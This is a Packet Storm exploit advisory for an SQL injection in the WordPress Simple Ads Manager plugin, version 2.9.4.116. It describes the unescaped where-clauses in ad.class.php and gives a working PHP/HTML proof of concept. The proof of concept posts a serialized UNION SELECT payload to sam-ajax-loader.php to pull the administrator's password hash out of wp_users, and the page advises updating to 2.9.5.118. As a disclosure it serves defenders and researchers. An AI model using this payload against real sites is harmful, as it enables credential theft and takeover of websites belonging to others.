Twenty Year Anniversary

WordPress Simple Ads Manager 2.9.4.116 SQL Injection

WordPress Simple Ads Manager 2.9.4.116 SQL Injection
Posted Dec 30, 2015
Authored by Kacper Szurek

WordPress Simple Ads Manager plugin version 2.9.4.116 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 2a5355428fa2f26280f1c837fff29c79

WordPress Simple Ads Manager 2.9.4.116 SQL Injection

Change Mirror Download
# Exploit Title: Simple Ads Manager 2.9.4.116 SQL Injection
# Date: 30-12-2015
# Software Link: https://wordpress.org/plugins/simple-ads-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped.

File: simple-ads-manager\ad.class.php

$aSql = "
(SELECT
@pid := sp.id AS pid,
0 AS aid,
sp.name,
sp.patch_source AS code_mode,
@code_before := sp.code_before AS code_before,
@code_after := sp.code_after AS code_after,
@ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size,
sp.patch_code AS ad_code,
sp.patch_img AS ad_img,
\"\" AS ad_alt,
0 AS ad_no,
sp.patch_link AS ad_target,
0 AS ad_swf,
\"\" AS ad_swf_flashvars,
\"\" AS ad_swf_params,
\"\" AS ad_swf_attributes,
\"\" AS ad_swf_fallback,
sp.patch_adserver AS ad_adserver,
sp.patch_dfp AS ad_dfp,
0 AS count_clicks,
0 AS code_type,
IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle,
@aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca
FROM {$pTable} sp
WHERE {$pId} AND sp.trash IS FALSE)
UNION
(SELECT
sa.pid,
sa.id AS aid,
sa.name,
sa.code_mode,
@code_before AS code_before,
@code_after AS code_after,
@ad_size AS ad_size,
sa.ad_code,
sa.ad_img,
sa.ad_alt,
sa.ad_no,
sa.ad_target,
sa.ad_swf,
sa.ad_swf_flashvars,
sa.ad_swf_params,
sa.ad_swf_attributes,
sa.ad_swf_fallback,
0 AS ad_adserver,
0 AS ad_dfp,
sa.count_clicks,
sa.code_type,
IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle,
@aca AS aca
FROM {$aTable} sa
WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW})
ORDER BY ad_cycle
LIMIT 1;";

http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html

2. Proof of Concept

<?php
$out = array();
$out['WC'] = '1=0';
$out['WCT'] = '';
$out['WCW'] = ') UNION (SELECT user_pass, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2 FROM wp_users WHERE ID = 1';
$out['WC2W'] = '';
?>
<form method="post" action="http://wp-url/wp-content/plugins/simple-ads-manager/sam-ajax-loader.php">
<input type="hidden" name="action" value="load_place">
<input type="hidden" name="id" value="0">
<input type="hidden" name="pid" value="1">
<input type="text" name="wc" value="<?php echo base64_encode(serialize($out)); ?>">
<input type="submit" value="Send">
</form>

Administrator password will be here:

{"success":true,"ad":"<div id='c2077_1_%here_is_password%' class='sam-container sam-place' data-sam='0'><\/div>","id":"1","pid":"%here_is_password%","cid":"c2077_1_%here_is_password%"}

3. Solution:

Update to version 2.9.5.118

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    3 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    18 Files
  • 6
    Sep 6th
    18 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    2 Files
  • 9
    Sep 9th
    2 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    17 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    29 Files
  • 14
    Sep 14th
    21 Files
  • 15
    Sep 15th
    3 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    16 Files
  • 19
    Sep 19th
    29 Files
  • 20
    Sep 20th
    18 Files
  • 21
    Sep 21st
    5 Files
  • 22
    Sep 22nd
    2 Files
  • 23
    Sep 23rd
    2 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    69 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close